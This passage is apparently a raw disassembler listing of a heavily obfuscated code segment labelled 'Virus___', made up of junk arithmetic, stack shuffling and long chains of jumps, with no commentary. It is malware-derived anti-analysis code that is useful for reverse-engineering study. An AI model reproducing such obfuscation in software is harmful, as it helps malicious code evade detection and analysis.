ebp, 0BA63B4h xor ebp, 3782690Ch jmp loc_588BEE ; --------------------------------------------------------------------------- loc_5834B3: ; CODE XREF: Virus___:0058601Aj sub esp, 4 jmp loc_58B8B0 ; --------------------------------------------------------------------------- loc_5834BB: ; CODE XREF: Virus___:0058F376j pop ebp jmp loc_586595 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_583882 push 2386h mov [esp], ebx mov ebx, 398338D5h sub esi, 3AE92591h sub esi, 70D43982h add esi, ebx push 4BF3h mov [esp], ebp mov ebp, 29F16DA7h not ebp jmp loc_582C44 ; --------------------------------------------------------------------------- loc_5834FB: ; CODE XREF: Virus___:00591E24j xchg ebx, edx jmp loc_583598 ; --------------------------------------------------------------------------- loc_583502: ; CODE XREF: Virus___:00590A37j xor ebp, 292418DDh add ebp, 31285006h mov eax, ebp pop ebp jmp loc_58003E ; --------------------------------------------------------------------------- loc_583516: ; CODE XREF: Virus___:00582D3Ej push small 25E7h mov si, [esp] add esp, 2 shl si, 8 dec si jmp loc_58CCC7 ; --------------------------------------------------------------------------- loc_58352C: ; CODE XREF: Virus___:00591B44j sub edx, 35AE68FAh mov edi, [esp] add esp, 4 push ebx push eax mov eax, 6B866A57h mov ebx, 7AAA7149h jmp loc_58C9EB ; --------------------------------------------------------------------------- loc_58354C: ; CODE XREF: Virus___:0058C8AEj pop ebx push edi mov edi, 4 jmp loc_58C20B ; --------------------------------------------------------------------------- loc_583558: ; CODE XREF: Virus___:0058412Dj add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push edx mov edx, 65797F6Ah or ecx, edx jmp loc_58F135 ; --------------------------------------------------------------------------- loc_583574: ; CODE XREF: Virus___:0058C9E6j push eax mov eax, 6A2B3558h jmp loc_5906C5 ; --------------------------------------------------------------------------- loc_58357F: ; CODE XREF: Virus___:00581DF8j sub ecx, 40E8081Ch neg ecx sub ecx, 0F2A0B898h add edx, 68FB7ADAh jmp loc_58310C ; --------------------------------------------------------------------------- loc_583598: ; CODE XREF: Virus___:005834FDj not ebx xchg ebx, edx xchg edx, ebp push edi mov edi, 4AFD6A4Ah jmp loc_58DD6D ; --------------------------------------------------------------------------- loc_5835A9: ; CODE XREF: Virus___:0058C279j push ebp mov ebp, 423C373Bh shr ebp, 6 xor ebp, 1ADCF41h add ebx, ebp pop ebp add ebx, 55A322DCh pop ebp push ebp jmp loc_58F50F ; --------------------------------------------------------------------------- loc_5835C8: ; CODE XREF: Virus___:00593FC0j push 14FDh jmp loc_5944D5 ; --------------------------------------------------------------------------- loc_5835D2: ; CODE XREF: Virus___:0058CA89j sub edx, eax sub edx, 5654B87h pop eax add edx, ebx add edx, 7CFE70C3h push dword ptr [esp] jmp loc_58394D ; --------------------------------------------------------------------------- loc_5835EB: ; CODE XREF: Virus___:0059105Ej sub eax, 0ABF618F9h sub ecx, eax mov eax, [esp] add esp, 4 push 4955h mov [esp], ecx push 1B76h mov [esp], ebx mov ebx, 5CD35927h xor [esp+4], ebx mov ebx, [esp] add esp, 4 jmp loc_588436 ; --------------------------------------------------------------------------- loc_58361F: ; CODE XREF: Virus___:00586A0Cj sub ebx, ecx jmp loc_58C276 ; --------------------------------------------------------------------------- loc_583626: ; CODE XREF: Virus___:00582DF9j add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_58EF5C ; --------------------------------------------------------------------------- loc_58363B: ; CODE XREF: Virus___:00585163j mov ebx, 7A6412A5h jmp loc_5943E9 ; --------------------------------------------------------------------------- loc_583645: ; CODE XREF: Virus___:005871C3j mov eax, 4733EC3h push ecx mov ecx, 2B7D691h mov edx, ecx pop ecx add edx, 0DA36889h add edx, eax sub edx, 0DA36889h mov eax, [esp] jmp loc_5915FB ; --------------------------------------------------------------------------- loc_583669: ; CODE XREF: Virus___:0058A13Aj shr edi, 6 push edi jmp loc_5853BC ; --------------------------------------------------------------------------- loc_583672: ; CODE XREF: Virus___:00589B42j inc ebp and ebp, 4F414409h or ebp, 0D671072h jmp loc_588364 ; --------------------------------------------------------------------------- loc_583684: ; CODE XREF: Virus___:00585B0Ej mov edx, 4 sub ecx, edx pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_590F05 ; --------------------------------------------------------------------------- loc_58369A: ; CODE XREF: Virus___:00586D5Ej add esi, ebx jmp loc_58BDD6 ; --------------------------------------------------------------------------- loc_5836A1: ; CODE XREF: Virus___:00587AA0j push ebp push esp pop ebp add ebp, 4 jmp loc_58ED51 ; --------------------------------------------------------------------------- loc_5836AF: ; CODE XREF: Virus___:0058B90Cj pop edi push edx mov edx, 67E94C99h jmp loc_58EF55 ; --------------------------------------------------------------------------- loc_5836BB: ; CODE XREF: Virus___:0058533Ej or esi, ebx pop ebx jmp loc_58D700 ; --------------------------------------------------------------------------- loc_5836C3: ; CODE XREF: Virus___:00589AB2j pop edi sub edi, 2CE032E9h sub edi, 0F4360546h mov eax, edi pop edi shl eax, 8 push edx jmp loc_584173 ; --------------------------------------------------------------------------- loc_5836DC: ; CODE XREF: Virus___:00582CB0j mov ecx, 670A7167h sub ecx, 4E2B243Ah jmp loc_585108 ; --------------------------------------------------------------------------- loc_5836EC: ; CODE XREF: Virus___:005887D5j add ecx, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_585DBE ; --------------------------------------------------------------------------- loc_583702: ; CODE XREF: Virus___:00581FBEj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_583707: ; CODE XREF: Virus___:005889BFj mov [esp], ebp push edx jmp loc_5863B2 ; --------------------------------------------------------------------------- loc_583710: ; CODE XREF: Virus___:00584F28j pop dword ptr [esp] mov esp, [esp] mov [esp], ax jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58371F: ; CODE XREF: Virus___:0058AE7Bj pop eax xor cl, 0CBh sub bl, cl pop ecx add al, bl jmp loc_580164 ; --------------------------------------------------------------------------- loc_58372D: ; CODE XREF: Virus___:00581FDEj mov [esp], ecx jmp loc_57F37C ; --------------------------------------------------------------------------- loc_583735: ; CODE XREF: Virus___:00591EB4j mov [esp], esi push 2DF4h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_58F4C1 ; --------------------------------------------------------------------------- loc_583753: ; CODE XREF: Virus___:005942B4j mov esi, 1AB2320Dh add esi, 110E0E42h xor esi, 6434019Bh add esi, 3D5A0E34h and esi, 3A637D9Fh push eax mov eax, 7CE513A5h add eax, 591A0618h shl eax, 4 not eax sub eax, 722DF7FCh xor esi, eax pop eax sub eax, esi pop esi add eax, edi jmp loc_58EC6E ; --------------------------------------------------------------------------- loc_583792: ; CODE XREF: Virus___:00582BC3j add eax, edx add eax, 2C25C73h jmp loc_5874A5 ; --------------------------------------------------------------------------- loc_58379E: ; CODE XREF: Virus___:0058069Aj pop eax sub al, dl pop edx push 640h mov [esp], ebx mov bl, 95h push 6341h mov [esp], ecx push eax push ecx mov ch, 15h mov al, ch pop ecx shr al, 4 not al sub al, 0BFh mov ch, al jmp loc_592FB7 ; --------------------------------------------------------------------------- loc_5837C9: ; CODE XREF: Virus___:00584033j pop ebx jmp loc_585C8E ; --------------------------------------------------------------------------- loc_5837CF: ; CODE XREF: Virus___:00580DE3j add esp, 4 add edx, 15C25DC6h jmp loc_589399 ; --------------------------------------------------------------------------- loc_5837DD: ; CODE XREF: Virus___:00587B46j sub esi, 742221B2h add esi, edx add esi, 742221B2h pop edx add esi, edi sub esi, 663155F0h pop edi push dword ptr [esp] jmp loc_592C39 ; --------------------------------------------------------------------------- loc_5837FD: ; CODE XREF: Virus___:005831DEj pop esp add ecx, 4 jmp loc_58C66D ; --------------------------------------------------------------------------- loc_583806: ; CODE XREF: Virus___:0058D2CBj push 460Eh jmp loc_589F48 ; --------------------------------------------------------------------------- loc_583810: ; CODE XREF: Virus___:0058740Aj mov ecx, 22992071h push ebp push ebx mov ebx, 2EF95123h jmp loc_587252 ; --------------------------------------------------------------------------- loc_583821: ; CODE XREF: Virus___:0058F3B6j mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] mov [esp], edi jmp loc_58992C ; --------------------------------------------------------------------------- loc_583837: ; CODE XREF: Virus___:0058C719j mov edx, 43EF68D0h not edx not edx neg edx xor edx, 0F727B8Bh inc edx sub edx, 0AD67E6BFh add edi, 23FC2908h sub edi, edx sub edi, 23FC2908h pop edx jmp loc_57FD78 ; --------------------------------------------------------------------------- loc_583863: ; CODE XREF: Virus___:005832DBj sub ecx, 2F216661h add ecx, eax jmp loc_5868A4 ; --------------------------------------------------------------------------- loc_583870: ; CODE XREF: Virus___:005936C4j add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] loc_583882: ; CODE XREF: Virus___:005834C6j push 4B6Ch mov [esp], ecx push esp pop ecx add ecx, 4 push 91Ah mov [esp], esi push ebp jmp loc_593BC4 ; --------------------------------------------------------------------------- add dword ptr [esp], 4 mov ebp, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_58B1D0 ; --------------------------------------------------------------------------- loc_5838BF: ; CODE XREF: Virus___:00587B7Ej shr ebx, 2 jmp loc_58F5FB ; --------------------------------------------------------------------------- loc_5838C7: ; CODE XREF: Virus___:00592C34j mov ecx, [esp] push 3A1Fh mov [esp], ebp jmp loc_5932D4 ; --------------------------------------------------------------------------- loc_5838D7: ; CODE XREF: Virus___:00587BBBj pop ebx sub al, 0C1h push ecx mov cl, 0DFh dec cl jmp loc_58920A ; --------------------------------------------------------------------------- loc_5838E4: ; CODE XREF: Virus___:0058F92Dj mov esp, [esp] push 1CEBh mov [esp], esi push 4 push dword ptr [esp] pop esi push edx sub esp, 4 push esp pop dword ptr [esp] push ecx mov ecx, 4 add [esp+4], ecx pop ecx mov edx, [esp] jmp loc_58CE31 ; --------------------------------------------------------------------------- loc_583913: ; CODE XREF: Virus___:0058DA0Bj mov edi, [esp] jmp loc_592ABE ; --------------------------------------------------------------------------- loc_58391B: ; CODE XREF: Virus___:00589F43j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push ebp jmp loc_586A59 ; --------------------------------------------------------------------------- loc_58392E: ; CODE XREF: Virus___:0058DB75j mov [esp], ebp jmp loc_58F593 ; --------------------------------------------------------------------------- loc_583936: ; CODE XREF: Virus___:00589EEDj pop esi push esi mov esi, 2222F59h sub ebx, esi pop esi jmp loc_580A87 ; --------------------------------------------------------------------------- loc_583945: ; CODE XREF: Virus___:00580ECBj push dword ptr [esp] jmp loc_593BF4 ; --------------------------------------------------------------------------- loc_58394D: ; CODE XREF: Virus___:005835E6j pop ebx push ecx jmp loc_5849A2 ; --------------------------------------------------------------------------- loc_583954: ; CODE XREF: Virus___:0059420Aj sub ebx, 73D07ACEh sub ebx, 0A5414BAh add ebx, eax add ebx, 0A5414BAh add ebx, 73D07ACEh add ebx, 2A0E6A33h mov eax, [esp] jmp loc_58740F ; --------------------------------------------------------------------------- loc_58397C: ; CODE XREF: Virus___:005883F2j mov esp, [esp] push ecx mov cl, 0D4h jmp loc_584B2A ; --------------------------------------------------------------------------- loc_583987: ; CODE XREF: Virus___:0058CFC6j mov [esp], eax jmp loc_5822FA ; --------------------------------------------------------------------------- loc_58398F: ; CODE XREF: Virus___:0058048Dj mov esi, 4 add ebp, 25C66495h add ebp, esi sub ebp, 25C66495h jmp loc_587F4E ; --------------------------------------------------------------------------- loc_5839A7: ; CODE XREF: Virus___:0058A850j mov ecx, 30D62FDAh mov ebx, ecx pop ecx xor [esp+4], ebx push dword ptr [esp] pop ebx push 7985h mov [esp], eax push esp pop eax add eax, 4 push edi mov edi, 7E10055Ch shl edi, 6 or edi, 23955287h add edi, 586AA87Dh add eax, edi pop edi xchg eax, [esp] pop esp push dword ptr [esp] pop eax jmp loc_59052A ; --------------------------------------------------------------------------- loc_5839EB: ; CODE XREF: Virus___:0058BACCj pop ebx jmp loc_58D2D0 ; --------------------------------------------------------------------------- loc_5839F1: ; CODE XREF: Virus___:00590329j xchg ebx, [esp] pop esp sub esp, 4 mov [esp], eax push edx mov dh, 0CDh jmp loc_5884A7 ; --------------------------------------------------------------------------- loc_583A06: ; CODE XREF: Virus___:0058C713j push dword ptr [esp] pop edx add esp, 4 add ebp, 4 push 7C2h mov [esp], ebp push dword ptr [esp+4] jmp loc_582126 ; --------------------------------------------------------------------------- loc_583A21: ; CODE XREF: Virus___:00586ED1j mov al, ch mov ch, dh jmp loc_58FB69 ; --------------------------------------------------------------------------- loc_583A2A: ; CODE XREF: Virus___:0058CE0Dj mov edi, 1D23B4EFh add edi, 4FA25360h add edi, ebp jmp loc_580C72 ; --------------------------------------------------------------------------- loc_583A3C: ; CODE XREF: Virus___:00584F5Fj push dword ptr [esp] pop ebp jmp loc_584546 ; --------------------------------------------------------------------------- loc_583A45: ; CODE XREF: Virus___:00592437j xor esi, 3D2A2569h add ebx, esi mov esi, [esp] add esp, 4 sub ebx, 25E477A5h add ebx, 775171FAh sub ebx, eax sub ebx, 775171FAh push 5D6Ah mov [esp], edx jmp loc_587D7E ; --------------------------------------------------------------------------- loc_583A74: ; CODE XREF: Virus___:0058BDE2j xchg esi, [esp] pop esp jmp loc_58529C ; --------------------------------------------------------------------------- loc_583A7D: ; CODE XREF: Virus___:0058C11Aj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_588D1B ; --------------------------------------------------------------------------- loc_583A96: ; CODE XREF: Virus___:00592F6Aj neg ecx jmp loc_581E3B ; --------------------------------------------------------------------------- loc_583A9D: ; CODE XREF: Virus___:0058ABB9j pop ecx add edi, 1 shr edi, 6 jmp loc_58C718 ; --------------------------------------------------------------------------- loc_583AAC: ; CODE XREF: Virus___:00581419j shr esi, 3 jmp loc_592164 ; --------------------------------------------------------------------------- loc_583AB4: ; CODE XREF: Virus___:00581250j xor ecx, 411D16D2h pop edx jmp loc_57FD6F ; --------------------------------------------------------------------------- loc_583AC0: ; CODE XREF: Virus___:0058F427j jmp loc_57F37C ; --------------------------------------------------------------------------- loc_583AC5: ; CODE XREF: Virus___:0059175Fj shr ebx, 4 shl ebx, 1 jmp loc_57FE9D ; --------------------------------------------------------------------------- loc_583ACF: ; CODE XREF: Virus___:00583FAFj sub ebp, 29A04B96h and ebp, 5DEB5D40h and ebp, 11DA6B32h add ebp, 0FE37C004h mov edx, ebp pop ebp jmp loc_5867E8 ; --------------------------------------------------------------------------- loc_583AEF: ; CODE XREF: Virus___:0058E456j mov ebp, offset aRogramCannotBe ; "rogram cannot be run in DOS mode.\r\r\n$" shl ebp, 6 inc ebp shl ebp, 3 push ebp sub dword ptr [esp], 1 pop ebp inc ebp push esi mov esi, 75CA6C42h inc esi inc esi jmp loc_589365 ; --------------------------------------------------------------------------- loc_583B0F: ; CODE XREF: Virus___:0058087Dj mov ebp, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx jmp loc_589D45 ; --------------------------------------------------------------------------- loc_583B20: ; CODE XREF: Virus___:00588F6Aj push eax jmp loc_591878 ; --------------------------------------------------------------------------- loc_583B26: ; CODE XREF: Virus___:0058639Dj add esp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push edx mov edx, esp jmp loc_58AD34 ; --------------------------------------------------------------------------- loc_583B41: ; CODE XREF: Virus___:00582C97j mov [esp], eax mov esi, [esp] add esp, 4 pop eax add [esp+4], esi push dword ptr [esp] pop esi push 2FBh mov [esp], ebp mov ebp, esp push ecx jmp loc_58F8BE ; --------------------------------------------------------------------------- loc_583B63: ; CODE XREF: Virus___:005881D7j add eax, ebx push edx push 66665AB6h mov edx, [esp] jmp loc_592249 ; --------------------------------------------------------------------------- lodsd sub eax, 515B2033h push 375Eh jmp loc_5906B0 ; --------------------------------------------------------------------------- loc_583B83: ; CODE XREF: Virus___:0058D4BCj add ebp, 4 push ecx push ebp push 2043h jmp loc_59153F ; --------------------------------------------------------------------------- loc_583B95: ; CODE XREF: Virus___:0058E1CFj mov edx, [esp] add esp, 4 push ebx mov ebx, 2CB51543h jmp loc_585077 ; --------------------------------------------------------------------------- loc_583BA9: ; CODE XREF: Virus___:0058F122j push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_589081 ; --------------------------------------------------------------------------- loc_583BBD: ; CODE XREF: Virus___:0059423Bj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_583BC2: ; CODE XREF: Virus___:0058CF3Dj mov ebx, [esp] add esp, 4 jmp loc_582C77 ; --------------------------------------------------------------------------- push ebx mov ebx, esp push 56EBh mov [esp], esi mov esi, 4 add ebx, esi pop esi sub esp, 4 mov [esp], eax mov eax, 4 sub ebx, eax pop eax jmp loc_5845A3 ; --------------------------------------------------------------------------- loc_583BF6: ; CODE XREF: Virus___:0057F9C9j pop eax push edx mov edx, 166F57AAh xor edx, 3F810D77h push edi mov edi, 63F8765Ch xor edx, edi jmp loc_58C5A5 ; --------------------------------------------------------------------------- lodsb sub esp, 4 jmp loc_5846B7 ; --------------------------------------------------------------------------- loc_583C19: ; CODE XREF: Virus___:00582A1Bj sub esi, 4 jmp loc_582233 ; --------------------------------------------------------------------------- loc_583C24: ; CODE XREF: Virus___:00589B5Dj push ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] jmp loc_587E07 ; --------------------------------------------------------------------------- loc_583C49: ; CODE XREF: Virus___:005800B4j pop ebx and eax, esi mov esi, [esp] push edi mov edi, esp add edi, 4 push edx jmp loc_58BB36 ; --------------------------------------------------------------------------- loc_583C5E: ; CODE XREF: Virus___:0058754Cj sub esi, 777C4D24h pop eax push edi mov edi, esp jmp loc_58E9F7 ; --------------------------------------------------------------------------- loc_583C6D: ; CODE XREF: Virus___:0058B1BAj xchg ecx, [esp] pop esp push edx jmp loc_5879EC ; --------------------------------------------------------------------------- loc_583C77: ; CODE XREF: Virus___:0057F65Bj inc dl shr dl, 3 push 49D5h jmp loc_590DF3 ; --------------------------------------------------------------------------- loc_583C86: ; CODE XREF: Virus___:0058CDE3j neg ebp push ecx mov ecx, 45A4D4AEh jmp loc_582340 ; --------------------------------------------------------------------------- loc_583C93: ; CODE XREF: Virus___:005880AEj pop esi push 25B9h mov [esp], edx push ebx mov ebx, 2 mov edx, ebx pop ebx add ebp, 3FEA326Bh add ebp, edx push eax jmp loc_58E68F ; --------------------------------------------------------------------------- loc_583CB3: ; CODE XREF: Virus___:0058D907j add edx, 132A3621h sub ebx, edx pop edx sub esp, 4 mov [esp], eax push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_5820DD ; --------------------------------------------------------------------------- loc_583CD9: ; CODE XREF: Virus___:005917BAj neg edi dec edi jmp loc_58EF38 ; --------------------------------------------------------------------------- loc_583CE1: ; CODE XREF: Virus___:0058C477j xor esi, [esp] xor [esp], esi jmp loc_58AB29 ; --------------------------------------------------------------------------- loc_583CEC: ; CODE XREF: Virus___:00593FD6j mov cx, [esp] push esi push esp pop esi push edi mov edi, 114A7588h jmp loc_59044D ; --------------------------------------------------------------------------- loc_583CFE: ; CODE XREF: Virus___:00591E2Dj mov edi, esp sub esp, 4 mov [esp], eax mov eax, 4 sub edi, 205416EDh jmp loc_5803A9 ; --------------------------------------------------------------------------- loc_583D19: ; CODE XREF: Virus___:005924EDj xor edx, ecx jmp loc_58A648 ; --------------------------------------------------------------------------- loc_583D20: ; CODE XREF: Virus___:00592FF2j mov edi, 42D86675h push esi mov esi, edi jmp loc_57F44C ; --------------------------------------------------------------------------- loc_583D2D: ; CODE XREF: Virus___:0058792Ej mov ecx, 205D48A6h shl ecx, 7 or ecx, 72FE2991h xor ecx, 4CB34E4Eh not ecx xor ecx, 0CDB2CA24h add eax, 60155879h add eax, ecx sub eax, 60155879h pop ecx xchg eax, [esp] pop esp shl eax, 4 or eax, 3A5C0578h jmp loc_587599 ; --------------------------------------------------------------------------- loc_583D67: ; CODE XREF: Virus___:00589B06j or esi, 312E7A96h and esi, 45403F01h shl esi, 3 jmp loc_5861E3 ; --------------------------------------------------------------------------- loc_583D7B: ; CODE XREF: Virus___:00581015j not ah xor [esp], ah xor ah, [esp] xor [esp], ah pop ecx push eax jmp loc_586099 ; --------------------------------------------------------------------------- loc_583D8D: ; CODE XREF: Virus___:00592BDDj add dl, 28h add bl, dl mov edx, [esp] add esp, 4 jmp loc_586840 ; --------------------------------------------------------------------------- loc_583D9D: ; CODE XREF: Virus___:00584EEFj mov ebp, 1F4A1481h sub ebp, 0C44FAD02h mov edi, ebp pop ebp add eax, edi push dword ptr [esp] jmp loc_58292A ; --------------------------------------------------------------------------- loc_583DB5: ; CODE XREF: Virus___:00589994j sub esi, 32F408F0h jmp loc_584D77 ; --------------------------------------------------------------------------- loc_583DC0: ; CODE XREF: Virus___:0058FC6Dj push 4B3h mov [esp], esi push dword ptr [esp+4] jmp loc_583FEB ; --------------------------------------------------------------------------- loc_583DD1: ; CODE XREF: Virus___:0058AF37j mov ch, bh pop ebx mov ah, ch pop ecx pop edx mov bl, ah pop eax push ecx mov cl, 0F1h shr cl, 8 xor cl, 0CDh jmp loc_5805EF ; --------------------------------------------------------------------------- loc_583DE9: ; CODE XREF: Virus___:00584B1Aj add edi, 10B452E9h add edi, 4A81B33h pop ecx push 1AC7h mov [esp], ebx mov ebx, 2 add edi, ebx push dword ptr [esp] pop ebx jmp loc_5936A7 ; --------------------------------------------------------------------------- loc_583E0E: ; CODE XREF: Virus___:005856CBj push edi mov edi, esp add edi, 4 jmp loc_588B1A ; --------------------------------------------------------------------------- loc_583E1C: ; CODE XREF: Virus___:00589E2Bj push esi mov esi, 4 add edi, esi pop esi jmp loc_58053F ; --------------------------------------------------------------------------- loc_583E2A: ; CODE XREF: Virus___:0058B165j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58EA59 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ecx push 4F55h push ebx jmp loc_587E46 ; --------------------------------------------------------------------------- loc_583E54: ; CODE XREF: Virus___:0058D886j add ebx, edi add ebx, 2FA176A2h push eax mov eax, 0 add eax, ebx jmp loc_593387 ; --------------------------------------------------------------------------- loc_583E69: ; CODE XREF: Virus___:00586AE2j mov [esp], eax mov eax, 4 add edx, eax pop eax push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], eax push ecx mov ecx, 1CE44657h jmp loc_58A23C ; --------------------------------------------------------------------------- loc_583E94: ; CODE XREF: Virus___:0058EC41j push ebp jmp loc_594105 ; --------------------------------------------------------------------------- loc_583E9A: ; CODE XREF: Virus___:0058F86Cj or edx, 2FBF7E2Dh jmp loc_58BEE4 ; --------------------------------------------------------------------------- loc_583EA5: ; CODE XREF: Virus___:00584F6Cj mov esi, [esp] add esp, 4 push ecx mov ecx, 5407680Dh add ebp, ecx pop ecx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi mov edi, 2 sub esp, 4 mov [esp], ebx mov ebx, 761602D0h add ebp, ebx mov ebx, [esp] add esp, 4 push esi mov esi, 246F39CCh add ebp, 4BF16D53h add ebp, esi sub ebp, 4BF16D53h jmp loc_591964 ; --------------------------------------------------------------------------- loc_583F14: ; CODE XREF: Virus___:0058F252j push edi mov edi, 1B933983h mov eax, 5ED23A17h sub eax, edi jmp loc_58E81A ; --------------------------------------------------------------------------- loc_583F26: ; CODE XREF: Virus___:0058D1C8j add esp, 4 push dword ptr [esp] pop eax add esp, 4 rep movsd add esp, [edx+38h] push ebp push 48C4h jmp loc_58EE1C ; --------------------------------------------------------------------------- loc_583F43: ; CODE XREF: Virus___:0058015Fj mov edx, esp add edx, 4 jmp loc_58B1D8 ; --------------------------------------------------------------------------- loc_583F50: ; CODE XREF: Virus___:005898B6j add esp, 4 sub esp, 4 mov [esp], esi push esp jmp loc_581433 ; --------------------------------------------------------------------------- loc_583F65: ; CODE XREF: Virus___:0057F690j mov edi, 2F7123Ah push ebx mov ebx, 6D452C4Ah jmp loc_593EFB ; --------------------------------------------------------------------------- loc_583F75: ; CODE XREF: Virus___:0058D8C2j push ebp mov ebp, 46AE285Dh and ebp, 26936CA2h shl ebp, 4 add ebp, 0FC84C06Eh jmp loc_58F8E0 ; --------------------------------------------------------------------------- loc_583F8F: ; CODE XREF: Virus___:00582DFFj pop dword ptr [esp] push 35AAh mov [esp], ecx mov ecx, 4 add [esp+4], ecx pop ecx pop dword ptr [esp] push edx push ebp push 158A3DA7h pop ebp jmp loc_583ACF ; --------------------------------------------------------------------------- loc_583FB4: ; CODE XREF: Virus___:0057FBE7j mov eax, [esp] add esp, 4 pop ebx push ebx not dword ptr [esp] jmp loc_58AB90 ; --------------------------------------------------------------------------- loc_583FC4: ; CODE XREF: Virus___:00588D7Dj push ebp mov ebp, 0B528CF4Ah jmp loc_590432 ; --------------------------------------------------------------------------- loc_583FCF: ; CODE XREF: Virus___:00592A5Dj mov ecx, esp add ecx, 4 push esi mov esi, 4 sub ecx, esi pop esi xchg ecx, [esp] mov esp, [esp] jmp loc_580421 ; --------------------------------------------------------------------------- loc_583FEB: ; CODE XREF: Virus___:00583DCCj mov esi, [esp] jmp loc_58164C ; --------------------------------------------------------------------------- loc_583FF3: ; CODE XREF: Virus___:0058E666j shl ecx, 4 xor ecx, eax jmp loc_58AD61 ; --------------------------------------------------------------------------- loc_583FFD: ; CODE XREF: Virus___:00591E85j not ecx xor ecx, 494048CAh jmp loc_58F031 ; --------------------------------------------------------------------------- loc_58400A: ; CODE XREF: Virus___:00592B80j push 1EEh jmp loc_58D0B8 ; --------------------------------------------------------------------------- loc_584014: ; CODE XREF: Virus___:00580F87j dec eax jmp loc_585F3E ; --------------------------------------------------------------------------- loc_58401A: ; CODE XREF: Virus___:0058CCAAj sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi push ebx mov ebx, 7F7F4E6Eh mov esi, 7F7F4E72h sub esi, ebx jmp loc_5837C9 ; --------------------------------------------------------------------------- loc_584038: ; CODE XREF: Virus___:00589C1Bj and dl, 0F3h add dl, 8Ah xchg bh, dl neg bh push ax mov ah, bh mov bh, dl mov dl, ah pop ax add dl, 0B0h push bx mov bh, 0DBh jmp loc_593688 ; --------------------------------------------------------------------------- loc_584058: ; CODE XREF: Virus___:0058D826j xor eax, ecx xor ecx, eax inc ecx sub ecx, 0F27C0322h sub ebp, ecx pop ecx jmp loc_587059 ; --------------------------------------------------------------------------- loc_58406B: ; CODE XREF: Virus___:00587A57j add ebx, 522008Dh jmp loc_588D6F ; --------------------------------------------------------------------------- loc_584076: ; CODE XREF: Virus___:00580DC9j mov [esp], ecx mov ecx, 46271D1Fh dec ecx or ecx, 21C64B3Bh inc ecx push 0 sub [esp], ecx pop ecx xor ecx, 0FD36E89Fh sub eax, ecx jmp loc_58C73A ; --------------------------------------------------------------------------- loc_58409C: ; CODE XREF: Virus___:00587AC9j inc cl inc cl sub cl, 0E6h shl cl, 5 dec cl jmp loc_585C2C ; --------------------------------------------------------------------------- loc_5840AD: ; CODE XREF: Virus___:00592200j add edi, eax mov eax, [esp] push ebp jmp loc_58CD37 ; --------------------------------------------------------------------------- loc_5840B8: ; CODE XREF: Virus___:00593318j add ecx, 4DDB7F77h pop ebp jmp loc_58E85B ; --------------------------------------------------------------------------- loc_5840C4: ; CODE XREF: Virus___:0058EF46j mov edx, 324A0AB8h dec edx add edx, 0ECF57272h or ebp, edx pop edx add ebp, 54704264h add ebp, 3ED6012h jmp loc_59024D ; --------------------------------------------------------------------------- loc_5840E4: ; CODE XREF: Virus___:0058555Cj push dword ptr [esp] mov eax, [esp] jmp loc_58480C ; --------------------------------------------------------------------------- loc_5840EF: ; CODE XREF: Virus___:00582E1Cj sub ebp, 15D5001Ch jmp loc_5924F2 ; --------------------------------------------------------------------------- loc_5840FA: ; CODE XREF: Virus___:0058D66Aj neg ebp jmp loc_57FF60 ; --------------------------------------------------------------------------- loc_584101: ; CODE XREF: Virus___:0058E732j inc edi inc edi push ebx jmp loc_587E24 ; --------------------------------------------------------------------------- loc_584109: ; CODE XREF: Virus___:00584E68j push ecx push 6940771Bh push dword ptr [esp] mov ecx, [esp] add esp, 4 push 9B7h mov [esp], esi push esp mov esi, [esp] add esp, 4 add esi, 4 jmp loc_583558 ; --------------------------------------------------------------------------- loc_584132: ; CODE XREF: Virus___:00588BA2j add esi, ebp add esi, 5CCA2F09h jmp loc_58A74C ; --------------------------------------------------------------------------- loc_58413F: ; CODE XREF: Virus___:0058E10Fj xor ebx, edx pop edx jmp loc_58FF2D ; --------------------------------------------------------------------------- loc_584147: ; CODE XREF: Virus___:0058739Aj add ecx, edi add ecx, 491F166Ah pop edi sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_5856AC ; --------------------------------------------------------------------------- loc_584161: ; CODE XREF: Virus___:0058D652j mov bx, [esp] add esp, 2 push edx mov dl, 2 shr dl, 5 jmp loc_593513 ; --------------------------------------------------------------------------- loc_584173: ; CODE XREF: Virus___:005836D7j mov edx, 72F76970h sub edx, 9E16996Ch sub eax, 0D42165Bh add eax, edx add eax, 0D42165Bh jmp loc_586141 ; --------------------------------------------------------------------------- loc_58418F: ; CODE XREF: Virus___:00593803j not eax xchg eax, edi sub edi, 9E96CCB0h jmp loc_58D391 ; --------------------------------------------------------------------------- loc_58419D: ; CODE XREF: Virus___:0058AF18j sub ch, bh pop bx sub ch, 6Ah sub al, ch pop ecx jmp loc_58B0F2 ; 